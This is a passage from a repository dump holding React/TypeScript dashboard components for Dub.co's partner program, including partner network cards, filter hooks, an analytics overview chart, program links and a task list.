px-3.5 py-2\">\n            <PaginationControls\n              pagination={pagination}\n              setPagination={setPagination}\n              totalCount={partnerCounts?.[status]}\n              unit={(p) => `partner${p ? \"s\" : \"\"}`}\n            />\n          </div>\n        </div>\n      ) : (\n        <NetworkEmptyState\n          isFiltered={activeFilters.length > 0}\n          isStarred={searchParams.get(\"starred\") == \"true\"}\n          onClearAllFilters={onRemoveAll}\n        />\n      )}\n    </div>\n  );\n}\n\nfunction PartnerCard({\n  partner,\n  onToggleStarred,\n}: {\n  partner?: NetworkPartnerProps;\n  onToggleStarred?: (starred: boolean) => void;\n}) {\n  const { slug: workspaceSlug } = useWorkspace();\n  const { queryParams } = useRouterStuff();\n\n  const basicFields = useMemo(\n    () => [\n      {\n        id: \"country\",\n        icon: partner?.country ? (\n          <img\n            alt={`Flag of ${COUNTRIES[partner.country]}`}\n            src={`https://flag.vercel.app/m/${partner.country}.svg`}\n            className=\"size-3.5 rounded-full\"\n          />\n        ) : (\n          <Globe className=\"size-3.5 shrink-0\" />\n        ),\n        text: partner\n          ? partner.country\n            ? COUNTRIES[partner.country]\n            : \"Planet Earth\"\n          : undefined,\n      },\n      {\n        id: \"joinedAt\",\n        icon: <UserPlus className=\"size-3.5 shrink-0\" />,\n        text: partner\n          ? `Joined ${formatDate(partner.createdAt, { month: \"short\" })}`\n          : undefined,\n      },\n      {\n        id: \"lastConversion\",\n        icon: <ChartActivity2 className=\"size-3.5 shrink-0\" />,\n        text: partner\n          ? partner.lastConversionAt\n            ? `Last conversion ${timeAgo(partner.lastConversionAt, { withAgo: true })}`\n            : \"No conversions yet\"\n          : undefined,\n      },\n      {\n        id: \"conversion\",\n        icon: (\n          <ConversionScoreIcon\n            score={partner?.conversionScore || null}\n            className=\"size-3.5 shrink-0\"\n          />\n        ),\n        text: partner\n          ? partner.conversionScore\n            ? `${capitalize(partner.conversionScore)} conversion`\n            : \"Unknown conversion\"\n          : undefined,\n        wrapper: ConversionScoreTooltip,\n      },\n    ],\n    [partner],\n  );\n\n  const partnerPlatformsData = useMemo(\n    () =>\n      partner\n        ? PARTNER_PLATFORM_FIELDS.map((field) => ({\n            label: field.label,\n            icon: field.icon,\n            ...field.data(partner.platforms),\n          })).filter((field) => field.value && field.href)\n        : null,\n    [partner],\n  );\n\n  const categoriesData = useMemo(\n    () =>\n      partner\n        ? partner.categories.map((category) => ({\n            label: category.replace(/_/g, \" \"),\n          }))\n        : undefined,\n    [partner],\n  );\n\n  return (\n    <div\n      className={cn(\n        partner?.id &&\n          \"hover:drop-shadow-card-hover cursor-pointer transition-[filter]\",\n      )}\n      onClick={(e) => {\n        if (!partner?.id || isClickOnInteractiveChild(e)) return;\n        if (partner.recruitedAt || partner.invitedAt) {\n          window.open(\n            `/${workspaceSlug}/program/partners/${partner.id}`,\n            \"_blank\",\n          );\n        } else {\n          queryParams({ set: { partnerId: partner.id }, scroll: false });\n        }\n      }}\n    >\n      {(partner?.invitedAt || partner?.recruitedAt) && (\n        <div className=\"bg-bg-subtle border-border-subtle -mb-3 flex items-center justify-center gap-2 rounded-t-xl border-x border-t p-2 pb-5\">\n          {partner.recruitedAt ? (\n            <UserPlus className=\"text-content-default size-4 shrink-0\" />\n          ) : (\n            <EnvelopeArrowRight className=\"text-content-default size-4 shrink-0\" />\n          )}\n\n          <span className=\"text-content-emphasis text-sm font-medium\">\n            {partner.recruitedAt\n              ? `Recruited ${timeAgo(partner.recruitedAt, { withAgo: true })}`\n              : `Sent ${timeAgo(partner.invitedAt, { withAgo: true })}`}\n          </span>\n        </div>\n      )}\n      <div className=\"border-border-subtle rounded-xl border bg-white p-4\">\n        <div className=\"flex justify-between gap-4\">\n          {/* Avatar + country icon */}\n          <div className=\"relative w-fit\">\n            {partner ? (\n              <PartnerAvatar\n                partner={partner}\n                className=\"size-16 border border-neutral-100\"\n              />\n            ) : (\n              <div className=\"size-16 animate-pulse rounded-full bg-neutral-200\" />\n            )}\n            {partner?.trustedAt && <TrustedPartnerBadge />}\n          </div>\n\n          {partner && onToggleStarred && (\n            <PartnerStarButton\n              partner={partner}\n              onToggleStarred={onToggleStarred}\n              className=\"size-6\"\n              iconSize=\"size-3\"\n            />\n          )}\n        </div>\n\n        <div className=\"mt-3.5 flex flex-col gap-3\">\n          {/* Name */}\n          {partner ? (\n            <span className=\"text-content-emphasis text-base font-semibold\">\n              {partner.name}\n            </span>\n          ) : (\n            <div className=\"h-6 w-32 animate-pulse rounded bg-neutral-200\" />\n          )}\n\n          {/* Basic details */}\n          <div className=\"flex flex-col items-start gap-1\">\n            {basicFields\n              .filter(({ text }) => text !== null)\n              .map(({ id, icon, text, wrapper: Wrapper = \"div\" }) => (\n                <Wrapper key={id}>\n                  <div className=\"text-content-subtle flex cursor-default items-center gap-2\">\n                    {text !== undefined ? (\n                      <>\n                        {icon}\n                        <span className=\"text-xs font-medium\">{text}</span>\n                      </>\n                    ) : (\n                      <div className=\"h-4 w-24 animate-pulse rounded bg-neutral-200\" />\n                    )}\n                  </div>\n                </Wrapper>\n              ))}\n          </div>\n\n          {/* Platforms */}\n          <div\n            className={cn(\n              \"flex flex-wrap items-center gap-1.5\",\n              !partner && \"animate-pulse\",\n            )}\n          >\n            {partnerPlatformsData?.length\n              ? partnerPlatformsData.map(\n                  ({ label, icon: Icon, verified, value, href }) => (\n                    <Tooltip\n                      key={label}\n                      content={\n                        <Link\n                          href={href ?? \"#\"}\n                          target=\"_blank\"\n                          rel=\"noopener noreferrer\"\n                          className=\"text-content-default hover:text-content-emphasis flex items-center gap-1 px-2 py-1 text-xs font-medium\"\n                        >\n                          <Icon className=\"size-3 shrink-0\" />\n                          <span>{value}</span>\n                          {verified && (\n                            <BadgeCheck2Fill className=\"size-3 text-green-600\" />\n                          )}\n                        </Link>\n                      }\n                    >\n                      <Link\n                        key={label}\n                        href={href ?? \"#\"}\n                        target=\"_blank\"\n                        rel=\"noopener noreferrer\"\n                        className=\"border-border-subtle hover:bg-bg-muted relative flex size-6 shrink-0 items-center justify-center rounded-full border\"\n                      >\n                        <Icon className=\"size-3\" />\n                        <span className=\"sr-only\">{label}</span>\n\n                        {verified && (\n                          <BadgeCheck2Fill className=\"absolute -right-1 -top-1 size-3 text-green-600\" />\n                        )}\n                      </Link>\n                    </Tooltip>\n                  ),\n                )\n              : [...Array(3)].map((_, idx) => (\n                  <div\n                    key={idx}\n                    className=\"size-6 rounded-full bg-neutral-100\"\n                  />\n                ))}\n          </div>\n\n          {/* Categories */}\n          <ListRow items={categoriesData} />\n        </div>\n      </div>\n    </div>\n  );\n}\n\nfunction ListRow({\n  items,\n  className,\n}: {\n  items?: { icon?: Icon; label: string }[];\n  className?: string;\n}) {\n  const containerRef = useRef<HTMLDivElement>(null);\n\n  const [isReady, setIsReady] = useState(false);\n\n  const [shownItems, setShownItems] = useState<\n    { icon?: Icon; label: string }[] | undefined\n  >(items);\n\n  useEffect(() => {\n    if (isReady) return;\n\n    setIsReady(false);\n    setShownItems(items);\n  }, [items, isReady]);\n\n  useEffect(() => {\n    if (!containerRef.current) return;\n\n    // Determine if we need to show less items\n    if (\n      shownItems?.length &&\n      containerRef.current.scrollWidth > containerRef.current.clientWidth\n    ) {\n      setIsReady(false);\n      setShownItems(shownItems?.slice(0, -1));\n    } else {\n      setIsReady(true);\n    }\n  }, [shownItems]);\n\n  // Show less items if needed after resizing\n  const entry = useResizeObserver(containerRef);\n  useEffect(() => {\n    if (!containerRef.current) return;\n\n    if (containerRef.current.scrollWidth > containerRef.current.clientWidth)\n      setIsReady(false);\n  }, [entry]);\n\n  return (\n    <div\n      ref={containerRef}\n      className={cn(\n        \"overflow-hidden\",\n        items?.length && !isReady && \"opacity-0\",\n      )}\n    >\n      <div className={cn(\"flex gap-1\", className)}>\n        {items ? (\n          items.length ? (\n            <>\n              {shownItems?.map(({ icon, label }) => (\n                <ListPill key={label} icon={icon} label={label} />\n              ))}\n              {(shownItems?.length ?? 0) < items.length && (\n                <Tooltip\n                  content={\n                    <div className=\"flex max-w-sm flex-wrap gap-1 p-2\">\n                      {items\n                        .filter(\n                          ({ label }) =>\n                            !shownItems?.some(\n                              ({ label: shownLabel }) => shownLabel === label,\n                            ),\n                        )\n                        .map(({ icon, label }) => (\n                          <ListPill key={label} icon={icon} label={label} />\n                        ))}\n                    </div>\n                  }\n                >\n                  <div className=\"text-content-default flex h-7 select-none items-center rounded-full bg-neutral-100 px-2 text-xs font-medium hover:bg-neutral-200\">\n                    +{items.length - (shownItems?.length ?? 0)}\n                  </div>\n                </Tooltip>\n              )}\n            </>\n          ) : (\n            <div className=\"flex h-7 w-fit items-center rounded-full border border-dashed border-neutral-300 bg-neutral-50 px-2\">\n              <span className=\"text-content-subtle text-xs opacity-60\">\n                Not specified\n              </span>\n            </div>\n          )\n        ) : (\n          [...Array(2)].map((_, idx) => (\n            <div key={idx} className=\"h-7 w-20 rounded-full bg-neutral-100\" />\n          ))\n        )}\n      </div>\n    </div>\n  );\n}\n\nfunction ListPill({ icon: Icon, label }: { icon?: Icon; label: string }) {\n  return (\n    <div className=\"flex h-7 items-center gap-1.5 rounded-full bg-neutral-100 px-2\">\n      {Icon && <Icon className=\"text-content-emphasis size-3 shrink-0\" />}\n      <span className=\"text-content-default whitespace-nowrap text-xs font-medium\">\n        {label}\n      </span>\n    </div>\n  );\n}\n\n/** Gets the current partner from the loaded partners array if available, or a separate fetch if not */\nfunction useCurrentPartner({\n  partners,\n  partnerId,\n}: {\n  partners?: NetworkPartnerProps[];\n  partnerId: string | null;\n}) {\n  const { id: workspaceId } = useWorkspace();\n\n  let currentPartner = partnerId\n    ? partners?.find(({ id }) => id === partnerId)\n    : null;\n\n  const fetchPartnerId =\n    partners && partnerId && !currentPartner ? partnerId : null;\n\n  const { data: fetchedPartners, isLoading } = useSWR<NetworkPartnerProps>(\n    fetchPartnerId &&\n      `/api/network/partners?workspaceId=${workspaceId}&partnerIds=${fetchPartnerId}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  if (!currentPartner && fetchedPartners?.[0]?.id === partnerId)\n    currentPartner = fetchedPartners[0];\n\n  return { currentPartner, isLoading };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/network/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { InvitesUsage } from \"@/ui/partners/partner-network/invites-usage\";\nimport { ProgramPartnerNetworkPageClient } from \"./page-client\";\n\nexport default function ProgramPartnerNetwork() {\n  return (\n    <PageContent title=\"Partner Network\" controls={<InvitesUsage />}>\n      <PageWidthWrapper className=\"mb-10\">\n        <ProgramPartnerNetworkPageClient />\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/network/use-partner-network-filters.tsx",
    "content": "import useNetworkPartnersCount from \"@/lib/swr/use-network-partners-count\";\nimport { PlatformType } from \"@dub/prisma/client\";\nimport { useRouterStuff } from \"@dub/ui\";\nimport {\n  FlagWavy,\n  Globe,\n  Instagram,\n  LinkedIn,\n  Megaphone,\n  ShieldCheck,\n  TikTok,\n  Twitter,\n  YouTube,\n} from \"@dub/ui/icons\";\nimport { COUNTRIES, nFormatter } from \"@dub/utils\";\nimport { useCallback, useMemo } from \"react\";\n\nexport function usePartnerNetworkFilters({\n  status,\n}: {\n  status: \"discover\" | \"invited\" | \"recruited\";\n}) {\n  const { searchParamsObj, queryParams } = useRouterStuff();\n\n  const { data: countriesCount } = useNetworkPartnersCount<\n    | {\n        country: string;\n        _count: number;\n      }[]\n    | undefined\n  >({\n    query: {\n      status,\n      groupBy: \"country\",\n    },\n    excludeParams: [\"country\"],\n  });\n\n  const { data: platformsCount } = useNetworkPartnersCount<\n    | {\n        platform: PlatformType;\n        _count: number;\n      }[]\n    | undefined\n  >({\n    query: {\n      status,\n      groupBy: \"platform\",\n    },\n    excludeParams: [\"platform\"],\n  });\n\n  const { data: subscribersCount } = useNetworkPartnersCount<\n    | {\n        subscribers: string;\n        _count: number;\n      }[]\n    | undefined\n  >({\n    query: {\n      status,\n      groupBy: \"subscribers\",\n    },\n    excludeParams: [\"subscribers\"],\n  });\n\n  const platformIcons: Record<PlatformType, typeof YouTube> = {\n    youtube: YouTube,\n    twitter: Twitter,\n    instagram: Instagram,\n    tiktok: TikTok,\n    linkedin: LinkedIn,\n    website: Globe,\n  };\n\n  const platformLabels: Record<PlatformType, string> = {\n    youtube: \"YouTube\",\n    twitter: \"X/Twitter\",\n    instagram: \"Instagram\",\n    tiktok: \"TikTok\",\n    linkedin: \"LinkedIn\",\n    website: \"Website\",\n  };\n\n  const subscriberLabels: Record<string, string> = {\n    \"<5000\": \"< 5,000\",\n    \"5000-25000\": \"5,000 - 25,000\",\n    \"25000-100000\": \"25,000 - 100,000\",\n    \"100000+\": \"100,000+\",\n  };\n\n  const filters = useMemo(\n    () => [\n      {\n        key: \"country\",\n        icon: FlagWavy,\n        label: \"Partner country\",\n        getOptionIcon: (value) => (\n          <img\n            alt={value}\n            src={`https://hatscripts.github.io/circle-flags/flags/${value.toLowerCase()}.svg`}\n            className=\"size-3.5 rounded-full\"\n          />\n        ),\n        getOptionLabel: (value) => COUNTRIES[value],\n        options:\n          countriesCount\n            ?.filter(({ country }) => COUNTRIES[country])\n            .map(({ country, _count }) => ({\n              value: country,\n              label: COUNTRIES[country],\n              right: nFormatter(_count, { full: true }),\n            })) ?? [],\n      },\n      {\n        key: \"platform\",\n        icon: ShieldCheck,\n        label: \"Verified social platform\",\n        getOptionIcon: (value: PlatformType) => {\n          const Icon = platformIcons[value] || YouTube;\n          return <Icon className=\"size-4\" />;\n        },\n        getOptionLabel: (value: PlatformType) => platformLabels[value] || value,\n        options:\n          platformsCount\n            ?.filter(({ platform }) =>\n              [\"youtube\", \"twitter\", \"instagram\", \"tiktok\"].includes(platform),\n            )\n            .map(({ platform, _count }) => ({\n              value: platform,\n              label: platformLabels[platform] || platform,\n              right: nFormatter(_count, { full: true }),\n            })) ?? [],\n      },\n      {\n        key: \"subscribers\",\n        icon: Megaphone,\n        label: \"Verified subscriber count\",\n        getOptionIcon: () => <Megaphone className=\"size-4\" />,\n        getOptionLabel: (value: string) => subscriberLabels[value] || value,\n        options:\n          subscribersCount?.map(({ subscribers, _count }) => ({\n            value: subscribers,\n            label: subscriberLabels[subscribers] || subscribers,\n            right: nFormatter(_count, { full: true }),\n          })) ?? [],\n      },\n    ],\n    [countriesCount, platformsCount, subscribersCount],\n  );\n\n  const multiFilters = useMemo(() => ({}), []) as Record<string, string[]>;\n\n  const activeFilters = useMemo(() => {\n    const { country, platform, subscribers } = searchParamsObj;\n\n    return [\n      ...Object.entries(multiFilters)\n        .map(([key, value]) => ({ key, value }))\n        .filter(({ value }) => value.length > 0),\n\n      ...(country ? [{ key: \"country\", value: country }] : []),\n      ...(platform ? [{ key: \"platform\", value: platform }] : []),\n      ...(subscribers ? [{ key: \"subscribers\", value: subscribers }] : []),\n    ];\n  }, [searchParamsObj, multiFilters]);\n\n  const onSelect = useCallback(\n    (key: string, value: any) =>\n      queryParams({\n        set: Object.keys(multiFilters).includes(key)\n          ? {\n              [key]: multiFilters[key].concat(value).join(\",\"),\n            }\n          : {\n              [key]: value,\n            },\n        del: \"page\",\n      }),\n    [queryParams, multiFilters],\n  );\n\n  const onRemove = useCallback(\n    (key: string, value: any) => {\n      if (\n        Object.keys(multiFilters).includes(key) &&\n        !(multiFilters[key].length === 1 && multiFilters[key][0] === value)\n      ) {\n        queryParams({\n          set: {\n            [key]: multiFilters[key].filter((id) => id !== value).join(\",\"),\n          },\n          del: \"page\",\n        });\n      } else {\n        queryParams({\n          del: [key, \"page\"],\n        });\n      }\n    },\n    [queryParams, multiFilters],\n  );\n\n  const onRemoveAll = useCallback(\n    () =>\n      queryParams({\n        del: [\"country\", \"starred\", \"platform\", \"subscribers\"],\n      }),\n    [queryParams],\n  );\n\n  const isFiltered = activeFilters.length > 0 || searchParamsObj.search;\n\n  return {\n    filters,\n    activeFilters,\n    onSelect,\n    onRemove,\n    onRemoveAll,\n    isFiltered,\n  };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/overview-chart.tsx",
    "content": "import { formatDateTooltip } from \"@/lib/analytics/format-date-tooltip\";\nimport { IntervalOptions } from \"@/lib/analytics/types\";\nimport { editQueryString } from \"@/lib/analytics/utils\";\nimport useCommissionsTimeseries from \"@/lib/swr/use-commissions-timeseries\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { AnalyticsContext } from \"@/ui/analytics/analytics-provider\";\nimport { ButtonLink } from \"@/ui/placeholders/button-link\";\nimport { Combobox, LoadingSpinner, useRouterStuff } from \"@dub/ui\";\nimport { Areas, TimeSeriesChart, XAxis, YAxis } from \"@dub/ui/charts\";\nimport { currencyFormatter, fetcher, nFormatter } from \"@dub/utils\";\nimport NumberFlow from \"@number-flow/react\";\nimport { useContext, useEffect, useMemo, useState } from \"react\";\nimport useSWR from \"swr\";\nimport { ExceededEventsLimit } from \"../../../../../../ui/partners/overview/exceeded-events-limit\";\n\ntype ViewType = \"sales\" | \"leads\" | \"commissions\";\n\nconst viewTypeToEvent = {\n  sales: \"Revenue\",\n  leads: \"Leads\",\n  commissions: \"Commissions\",\n};\n\nconst chartOptions = Object.entries(viewTypeToEvent).map(([value, label]) => ({\n  value,\n  label,\n}));\n\nexport function OverviewChart() {\n  const { getQueryString } = useRouterStuff();\n  const { queryString, start, end, interval } = useContext(AnalyticsContext);\n  const [viewType, setViewType] = useState<ViewType>(\"sales\");\n\n  const { slug, exceededEvents } = useWorkspace();\n  const { program } = useProgram();\n  useEffect(() => {\n    if (program?.primaryRewardEvent === \"lead\") {\n      setViewType(\"leads\");\n    }\n  }, [program]);\n\n  const { data: analyticsData, error: analyticsError } = useSWR<\n    {\n      start: Date;\n      clicks: number;\n      leads: number;\n      sales: number;\n      saleAmount: number;\n    }[]\n  >(\n    !exceededEvents &&\n      (viewType === \"sales\" || viewType === \"leads\") &&\n      `/api/analytics?${editQueryString(queryString, {\n        event: viewType,\n        groupBy: \"timeseries\",\n      })}`,\n    fetcher,\n  );\n\n  const { data: commissions, error: commissionsError } =\n    useCommissionsTimeseries({\n      event: \"sales\",\n      groupBy: \"timeseries\",\n      interval: interval as IntervalOptions | undefined,\n      start: start ? new Date(start) : undefined,\n      end: end ? new Date(end) : undefined,\n      enabled: viewType === \"commissions\",\n    });\n\n  const data = useMemo(() => {\n    const sourceData = viewType === \"commissions\" ? commissions : analyticsData;\n\n    return sourceData?.map((item) => ({\n      date: new Date(item.start),\n      values: {\n        amount:\n          viewType === \"commissions\"\n            ? item.earnings\n            : viewType === \"sales\"\n              ? item.saleAmount\n              : item.leads,\n      },\n    }));\n  }, [analyticsData, commissions, viewType]);\n\n  const total = useMemo(() => {\n    return data?.reduce((acc, curr) => acc + curr.values.amount, 0);\n  }, [data]);\n\n  const isLoading = !data && !analyticsError && !commissionsError;\n  const error = analyticsError || commissionsError;\n\n  return (\n    <div className=\"flex size-full flex-col gap-6\">\n      {!exceededEvents && (\n        <div className=\"flex items-start justify-between\">\n          <div className=\"flex flex-col\">\n            <Combobox\n              selected={\n                chartOptions.find((opt) => opt.value === viewType) || null\n              }\n              setSelected={(option) => option && setViewType(option.value)}\n              options={chartOptions}\n              optionClassName=\"w-36\"\n              caret={true}\n              hideSearch={true}\n              buttonProps={{\n                variant: \"outline\",\n                className: \"h-7 w-fit px-2 -ml-2 -mt-1.5\",\n              }}\n            />\n            {total !== undefined ? (\n              <NumberFlow\n                value={viewType === \"leads\" ? total : total / 100}\n                className=\"text-content-emphasis block text-3xl font-medium\"\n                {...(viewType === \"leads\"\n                  ? {}\n                  : {\n                      format: {\n                        style: \"currency\",\n                        currency: \"USD\",\n                      },\n                    })}\n              />\n            ) : (\n              <div className=\"mb-1 mt-px h-10 w-24 animate-pulse rounded-md bg-neutral-200\" />\n            )}\n          </div>\n\n          <ButtonLink\n            href={`/${slug}/program/${viewType === \"commissions\" ? \"commissions\" : \"analytics\"}${getQueryString(\n              undefined,\n              {\n                include: [\"interval\", \"start\", \"end\"],\n              },\n            )}`}\n            variant=\"secondary\"\n            className=\"h-8 px-3 text-sm\"\n          >\n            View all\n          </ButtonLink>\n        </div>\n      )}\n\n      <div className=\"relative min-h-0 grow\">\n        {exceededEvents ? (\n          <ExceededEventsLimit />\n        ) : isLoading ? (\n          <div className=\"flex size-full items-center justify-center\">\n            <LoadingSpinner />\n          </div>\n        ) : error ? (\n          <div className=\"text-content-subtle flex size-full items-center justify-center text-sm\">\n            Failed to load data\n          </div>\n        ) : (\n          <TimeSeriesChart\n            key={`${start?.toString()}-${end?.toString()}-${interval?.toString()}-${viewType}`}\n            data={data || []}\n            series={[\n              {\n                id: \"amount\",\n                valueAccessor: (d) => d.values.amount,\n                colorClassName: \"text-violet-500\",\n                isActive: true,\n              },\n            ]}\n            tooltipClassName=\"p-0\"\n            tooltipContent={(d) => {\n              return (\n                <>\n                  <p className=\"border-b border-neutral-200 px-4 py-3 text-sm text-neutral-900\">\n                    {formatDateTooltip(d.date, { interval, start, end })}\n                  </p>\n                  <div className=\"grid grid-cols-2 gap-x-6 gap-y-2 px-4 py-3 text-sm\">\n                    <div className=\"flex items-center gap-2\">\n                      <div className=\"h-2 w-2 rounded-sm bg-violet-500 shadow-[inset_0_0_0_1px_#0003]\" />\n                      <p className=\"capitalize text-neutral-600\">\n                        {viewTypeToEvent[viewType]}\n                      </p>\n                    </div>\n                    <p className=\"text-right font-medium text-neutral-900\">\n                      {viewType === \"leads\"\n                        ? nFormatter(d.values.amount, { full: true })\n                        : currencyFormatter(d.values.amount)}\n                    </p>\n                  </div>\n                </>\n              );\n            }}\n          >\n            <XAxis\n              tickFormat={(date) =>\n                formatDateTooltip(date, { interval, start, end })\n              }\n            />\n            <YAxis\n              showGridLines\n              tickFormat={viewType === \"leads\" ? nFormatter : currencyFormatter}\n            />\n            <Areas />\n          </TimeSeriesChart>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/overview-links.tsx",
    "content": "import useGroup from \"@/lib/swr/use-group\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { GroupWithProgramProps } from \"@/lib/types\";\nimport { ProgramOverviewCard } from \"@/ui/partners/overview/program-overview-card\";\nimport { ButtonLink } from \"@/ui/placeholders/button-link\";\nimport {\n  ArrowUpRight,\n  Brush,\n  Check,\n  Copy,\n  InputField,\n  Post,\n  useCopyToClipboard,\n  Window,\n} from \"@dub/ui\";\nimport { cn, getPrettyUrl, PARTNERS_DOMAIN } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useMemo } from \"react\";\nimport { toast } from \"sonner\";\n\nexport function OverviewLinks() {\n  const { slug } = useWorkspace();\n  const { program } = useProgram();\n  const { group: defaultGroup } = useGroup<GroupWithProgramProps>({\n    groupIdOrSlug: \"default\",\n    query: { includeExpandedFields: true },\n  });\n\n  const links = useMemo(\n    () => [\n      {\n        icon: Post,\n        label: \"Landing page\",\n        href: `${PARTNERS_DOMAIN}/${program?.slug}`,\n        disabled: !defaultGroup?.landerPublishedAt,\n      },\n      {\n        icon: InputField,\n        label: \"Application form\",\n        href: `${PARTNERS_DOMAIN}/${program?.slug}/apply`,\n        disabled: !defaultGroup?.applicationFormPublishedAt,\n      },\n      {\n        icon: Window,\n        label: \"Partner portal\",\n        href: `${PARTNERS_DOMAIN}/programs/${program?.slug}`,\n        disabled: !program,\n      },\n    ],\n    [slug, program, defaultGroup],\n  );\n\n  return (\n    <ProgramOverviewCard className=\"py-4\">\n      <div className=\"flex justify-between px-4\">\n        <h2 className=\"text-content-emphasis text-sm font-medium\">\n          Program links\n        </h2>\n        <ButtonLink\n          href={`/${slug}/program/groups/default/branding`}\n          variant=\"secondary\"\n          className=\"-mr-1 -mt-1 h-7 px-2 text-sm\"\n        >\n          <Brush className=\"mr-1.5 size-4 shrink-0\" />\n          Branding\n        </ButtonLink>\n      </div>\n      <div className=\"mt-3 flex flex-col px-2\">\n        {links.map((link) => {\n          const [copied, copyToClipboard] = useCopyToClipboard();\n          return (\n            <div\n              key={link.label}\n              className={cn(\n                \"group relative transition-opacity\",\n                link.disabled && \"pointer-events-none opacity-50\",\n              )}\n            >\n              <Link\n                key={link.label}\n                href={link.href}\n                target=\"_blank\"\n                className={cn(\n                  \"relative flex items-center justify-between gap-2 rounded-lg p-2 pl-3 text-sm font-semibold transition-colors\",\n                  \"group-hover:bg-bg-inverted/5 group-hover:active:bg-bg-inverted/10\",\n                )}\n                {...(link.disabled && { \"aria-disabled\": true, tabIndex: -1 })}\n              >\n                <div className=\"flex min-w-0 items-center gap-3\">\n                  <div className=\"border-border-default rounded-md border p-2\">\n                    <link.icon className=\"size-4 shrink-0\" />\n                  </div>\n                  <div className=\"flex flex-col gap-0.5\">\n                    <div className=\"flex items-center gap-1\">\n                      <span className=\"min-w-0 truncate\">{link.label}</span>\n                      <ArrowUpRight className=\"size-3 shrink-0 -translate-x-0.5 opacity-0 transition-[transform,opacity] group-hover:translate-x-0 group-hover:opacity-100 [&_*]:stroke-2\" />\n                    </div>\n                    <span className=\"text-content-subtle text-xs font-normal\">\n                      {getPrettyUrl(link.href)}\n                    </span>\n                  </div>\n                </div>\n              </Link>\n              <button\n                type=\"button\"\n                onClick={() =>\n                  copyToClipboard(link.href, {\n                    onSuccess: () => {\n                      toast.success(\"Copied to clipboard\");\n                    },\n                  })\n                }\n                className={cn(\n                  \"text-content-default bg-bg-inverted/5 absolute right-2 top-1/2 flex size-8 -translate-y-1/2 items-center justify-center rounded-lg transition-[opacity,background-color]\",\n                  \"opacity-0 focus-visible:opacity-100 group-hover:opacity-100\",\n                  \"hover:bg-bg-inverted/10 active:bg-bg-inverted/15\",\n                )}\n              >\n                {copied ? (\n                  <Check className=\"size-4\" />\n                ) : (\n                  <Copy className=\"size-4\" />\n                )}\n              </button>\n            </div>\n          );\n        })}\n      </div>\n    </ProgramOverviewCard>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/overview-tasks.tsx",
    "content": "import { usePartnerMessagesCount } from \"@/lib/swr/use-partner-messages-count\";\nimport usePartnersCount from \"@/lib/swr/use-partners-count\";\nimport { usePayoutsCount } from \"@/lib/swr/use-payouts-count\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ProgramOverviewCard } from \"@/ui/partners/overview/program-overview-card\";\nimport { MoneyBills2, Msgs, UserCheck } from \"@dub/ui\";\nimport { cn, nFormatter } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useMemo } from \"react\";\n\nexport function OverviewTasks() {\n  const { slug } = useWorkspace();\n\n  const { partnersCount, loading: partnersCountLoading } = usePartnersCount<\n    number | undefined\n  >({ status: \"pending\", ignoreParams: true });\n\n  const {\n    payoutsCount: eligiblePayoutsCount,\n    loading: eligiblePayoutsLoading,\n  } = usePayoutsCount<number | undefined>({\n    eligibility: \"eligible\",\n    status: \"pending\",\n    ignoreParams: true,\n  });\n\n  const { count: unreadMessagesCount, isLoading: unreadMessagesLoading } =\n    usePartnerMessagesCount({\n      query: {\n        unread: true,\n      },\n    });\n\n  const tasks = useMemo(\n    () => [\n      {\n        icon: MoneyBills2,\n        label: \"Confirm pending payouts\",\n        count: eligiblePayoutsCount,\n        href: `/${slug}/program/payouts?status=pending`,\n        loading: eligiblePayoutsLoading,\n      },\n      {\n        icon: Msgs,\n        label: \"Respond to partners\",\n        count: unreadMessagesCount,\n        href: `/${slug}/program/messages`,\n        loading: unreadMessagesLoading,\n      },\n      {\n        icon: UserCheck,\n        label: \"Review new applications\",\n        count: partnersCount,\n        href: `/${slug}/program/partners/applications`,\n        loading: partnersCountLoading,\n      },\n    ],\n    [\n      slug,\n      eligiblePayoutsCount,\n      eligiblePayoutsLoading,\n      unreadMessagesCount,\n      unreadMessagesLoading,\n      partnersCount,\n      partnersCountLoading,\n    ],\n  );\n\n  return (\n    <ProgramOverviewCard className=\"py-4\">\n      <h2 className=\"text-content-emphasis px-4 text-sm font-medium\">Tasks</h2>\n      <div className=\"mt-4 flex flex-col px-2\">\n        {tasks.map((task) => (\n          <Link\n            key={task.label}\n            href={task.href}\n            className=\"hover:bg-bg-inverted/5 active:bg-bg-inverted/10 flex items-center justify-between gap-2 rounded-lg p-2 pl-3 text-sm font-semibold transition-colors\"\n          >\n            <div className=\"flex min-w-0 items-center gap-2.5\">\n              <task.icon className=\"size-4 shrink-0\" />\n              <span className=\"min-w-0 truncate\">{task.label}</span>\n            </div>\n\n            <div\n              className={cn(\n                \"flex h-8 items-center rounded-lg bg-black/5 px-4 text-neutral-400\",\n                task.loading && \"w-10 animate-pulse\",\n                task.count && task.count > 0 && \"bg-blue-100 text-blue-600\",\n              )}\n            >\n              {nFormatter(task.count, { full: true }) ??\n                (task.loading ? \"\" : \"-\")}\n            </div>\n          </Link>\n        ))}\n      </div>\n    </ProgramOverviewCard>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/page-client.tsx",
